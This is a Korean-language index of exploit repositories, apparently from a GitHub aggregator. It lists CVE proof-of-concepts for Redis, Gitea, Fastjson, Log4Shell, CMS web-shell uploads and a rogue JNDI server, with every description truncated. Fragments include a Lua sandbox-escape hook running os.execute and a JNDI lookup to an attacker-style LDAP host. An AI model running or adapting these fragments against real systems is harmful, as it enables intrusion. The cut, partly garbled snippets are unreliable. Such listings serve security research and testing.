CVE-2026-22003-Redis-Lua-Sandbox-Escape-via-debug.sethook-

CVE-2026-22003 – debug.sethook를 통한 Redis Lua 샌드박스 탈출 프로그램 코드 Lua + Python 트리거 -- redissandbox.lua - Script that attempts sandbox escape local function escape debug.sethookfunction -- This hook runs in a privileged context os.execute"id /tmp/redisescape" end, "r" local a = 1 end return escape...

certReport

CertReport 이 도구는 authenticode 인증서를 신고하는 데 필요한 노력을 줄이기 위해 제작되었습니다. 신고자에게는 최소한의 노력만 요구하면서도 인증 기관이 결정을 내리는 데 필요한 대부분의 정보를 제공하는 것을 목표로 합니다. 가능하다면, 발견한 의심스러운 지표를 인증서 제공자가 파악할 수 있도록 자체 조사 결과를 보고서에 추가하는 것이 좋습니다. 버전 2부터 VirusTotal API 사용 지원이 추가되었습니다. VirusTotal API를 사용할 수 있도록 추가 함수가 포함되었습니다. certReport의 ...

CVE-2026-60004

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE Bare Clone 훅 주입 → post-index-change → 임의 명령 실행 개요 CVE-2026-60004 는 Gitea 및 Forgejo 자체 호스팅 Git 플랫폼의 버전 1.17부터 1.27.0까지 영향을 주는 치명적 심각도CVSS 9.8의 사전 인증pre-authentication 원격 코드 실행 취약점입니다. 이 취약점은 POST /api/v1/repos/owner/repo/diffpatch API 엔드포인트의 bare 클론 설계...

CVE-2026-6666-XPC-Service-NSKeyedUnarchiver-Deserialization-Attack-macOS-iOS-simulation-

CVE-2026-6666 – XPC 서비스 NSKeyedUnarchiver 역직렬화 공격 macOS/iOS 시뮬레이션 프로그램 코드 Python 시뮬레이션 !/usr/bin/env python3 vulnerablexpcservice.py - Simulated XPC service using unsafe plist deserialization import plistlib, subprocess, socketserver, struct Mach message simulation: we just accept a binary plist...

CVE-2026-63720-datamodel-code-generator

CVE-2026-63720: 검증되지 않은 customBasePath를 통한 datamodel-code-generator 코드 주입 심각도: 높음, CVSS 3.1 7.5 / CVSS 4.0 7.5 CNA인 VulnCheck가 배정 환경적 상한네트워크 서비스 배포: 최대 9.8 벡터v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 벡터v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 영향 대상:...

CVE-2026-9090-Modbus-TCP-Write-to-Read-Only-Coils-via-Function-Code-Spoofing

CVE-2026-9090 – 기능 코드 스푸핑을 통한 읽기 전용 코일에 대한 Modbus TCP 쓰기 프로그램 코드pymodbus 시뮬레이션을 사용한 Python modbusplcsim.py - Simulated Modbus PLC with read‑only coils from pymodbus.server.sync import StartTcpServer from pymodbus.device import ModbusDeviceIdentification from pymodbus.datastore import...

CVE-2026-13714

CVE-2026-13714 Realtyna Organic IDX 플러그인 + WPL Real Estate │ │ ├─ privatekey = │ │ ├─ cmd = setproperty │ │ └─ file = imageNxabc.php │ │─────────────────────────────────────────►│ │...

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — NocoBase SQL 삽입 → PostgreSQL 슈퍼유저 RCE NocoBase의 @nocobase/plugin-notification-in-app-message ≤ 2.0.60에 포함된 myInAppChannels:list 액션에서 SQL 삽입이 발생합니다. filterlatestMsgReceiveTimestamp$lt 요청 파라미터는 이스케이프나 바인딩 없이 원시 Sequelize.literal SQL 문자열에 직접 보간됩니다. PostgreSQL pg 드라이버의 스택드 스테이트먼트 지원을...

CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow

CVE-2026-2222 – MQTT 브로커 CONNECT 패킷 힙 오버플로우 프로그램 코드 C + Python // mqttbrokersim.c - Simulated vulnerable MQTT broker include include include struct mqttconnect char protocolname8; uint8t protocollevel; uint8t flags; uint16t keepalive; // remaining length field misinterpreted ; void...

log4shell

Log4Shell CVE-2021-44228 — 연구 보고서 2021년 12월에 공개된 Apache Log4j 2의 치명적 원격 코드 실행 취약점인 Log4Shell 에 대한 독립형 기술 보고서입니다. 근본 원인 분석, 전체 공격 체인, 탐지/완화 지침, 그리고 격리된 로컬 랩에서 수행한 종단 간 익스플로잇 재현을 터미널 및 로그 증거와 함께 다룹니다. 실시간 보고서 보기 → 포함 내용 취약점 개요 — Log4Shell이 무엇이며 왜 치명적이었는지 기술 분석 — JndiLookup.java의 취약한 코드 경로와 4단계 공격 흐...

CVE-2026-67595

CVE-2026-67595 — VaahCMS에 내장된 악성 JavaScript CVE-2026-67595 에 대한 보안 권고: VaahCMS의 공식 릴리스에 포함되어 배포된 난독화된 JavaScript 스파이웨어 페이로드공급망/내장 악성 코드 문제로, Ilhomjon Rustamov가 독자적으로 발견하여 보고했습니다. 요약 | ---|--- CVE ID| CVE-2026-67595 공급업체 추적| PT-2026-65916 Positive Technologies 제품| VaahCMS — Webreinvent 영향받는 버전|...

CVE-2025-48932-Invision-Community-SQLi-Exploit

🔓 CVE-2025-48932 - Invision Community SQL 인젝션 익스플로잇 ⚡ 치명적인 취약점 개요 CVE-2025-48932 은 Invision Community 버전 ≤ 4.7.20 에서 발견된 심각한 수준의 인증되지 않은 블라인드 SQL 인젝션 취약점입니다. 이 익스플로잇을 통해 원격 공격자는 다음을 수행할 수 있습니다: 🔍 민감한 데이터베이스 정보 추출 👤 사용자 자격 증명 및 비밀번호 해시 탈취 🔑 관리자 계정 탈취 🎯 활성 사용자 세션 가로채기 💻 관리자 탈취를 통한 원격 코드 실행RCE 달성 📊 ...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ 개요 CVE-2026-16723 은 Fastjson 1.x1.2.68 – 1.2.83의 원격 코드 실행RCE 취약점입니다. Fastjson이 공격자가 제어하는 JSON을 파싱할 때, 조작된 @type 값은 checkAutoType 내부의 클래스 리소스 조회로 변환됩니다. Spring Boot 실행 가능 fat-JAR에서는 클래스 로더가 해당 이름을 jar:http:// URL로 해석하여 원격 JA...

wonderplugin

RCE용 Wonderplugin 프로덕션 웹 서버에서 이 가짜 플러그인을 사용하지 마십시오! 이 저장소는 wonderCMS의 취약점을 테스트하기 위한 목적으로 만들어졌습니다. 이 가짜 플러그인에는 백도어 웹 셸이 포함되어 있으며, evil.php 파일에서 확인할 수 있습니다. 관련 기사 WonderCMS 3.1.3 - 인증된 RCE 및 블라인드 SSRF 취약점 Exploit-DB WonderCMS 3.1.3 - 인증된 원격 코드 실행...

CVE-2026-66066

🚨 CVE-2026-66066 — KindaRails2Shell Ruby on Rails Active Storage에서의 인증 전 원격 코드 실행 RCE CVE-2026-66066"KindaRails2Shell"에 대한 교육용 보안 연구 저장소입니다. 이 저장소는 보안 연구, 취약점 분석, 탐지 및 방어 목적으로만 제공됩니다. 📖 개요 KindaRails2ShellCVE-2026-66066은 libvips 를 사용하여 업로드된 이미지를 처리하는 Ruby on Rails Active Storage 배포 환경에 영향을 미치는 치명...

webcgi-exploits

Web CGI 익스플로잇 다음은 다양한 웹 CGI와 관련된 몇 가지 익스플로잇입니다. 저는 지난 몇 년 동안 이 익스플로잇들을 작성했습니다. 작동 방식 웹 애플리케이션은 기본적으로 다음과 같은 계층들로 구성됩니다: 1. 애플리케이션 2. 웹 프레임워크 3. 스크립트 언어 엔진 4. 웹 컨테이너서버 5. 웹 프런트 프록시nginx 등 4와 5는 같은 것일 수 있습니다. 3과 4도 같은 것일 수 있습니다. 각 계층 사이에는 통신이 있습니다. 각 계층의 소프트웨어는 서로 다른 팀에 의해 개발됩니다. 그들은 서로 통신하기 위한 표준을...

poc-yaws-cgi-shell-injection

Yaws 웹 서버의 OS 명령 주입 CVE-2020-24916 개념 증명 테스트 이미지 빌드: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 및/또는 컨테이너 실행 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi curl...

rogue-jndi

Rogue JNDI JNDI 인젝션 공격을 위한 악성 LDAP 서버. 설명 이 프로젝트는 기본적으로 안전하지 않은 Java JNDI API를 악용하기 위한 LDAP 및 HTTP 서버를 포함합니다. 공격을 수행하려면 로컬에서 이러한 서버를 시작한 다음 취약한 클라이언트에서 JNDI 조회를 트리거할 수 있습니다. 예: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; 그러면 취약한 클라이언트에서 로컬 LDAP 서버로의 연결이 시작됩니다. 그런 다음 로컬 서버는 원격...

Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC

Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated-POC 익스플로잇 작성자: Ashish Koli Shikari 공급업체 홈페이지: https://github.com/pluck-cms/pluck 버전: 4.7.16 CVE: CVE-2022-26965 이 도구에 대해: 이 스크립트는 shell.tar를 PluckCMS에 업로드합니다. 애플리케이션은 압축을 해제합니다. 웹쉘에 접근할 수 있게 해주는 패키지. 사용법 : python3 exploit.py...

Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC

Atom-CMS-2.0---파일-업로드-원격-코드-실행-비인증- 원격 코드 실행 RCE Exploit 작성자: Ashish Koli Shikari 공급업체 홈페이지: https://thedigitalcraft.com/ 소프트웨어 링크: https://github.com/thedigicraft/Atom.CMS 버전: 2.0 CVE: CVE-2022-25487 설명: 이 스크립트는 Atom CMS에 webshell.php를 업로드합니다. 애플리케이션은 해당 파일을 저장하며, uploads 디렉터리의 고유 번호를 통해 Webshel...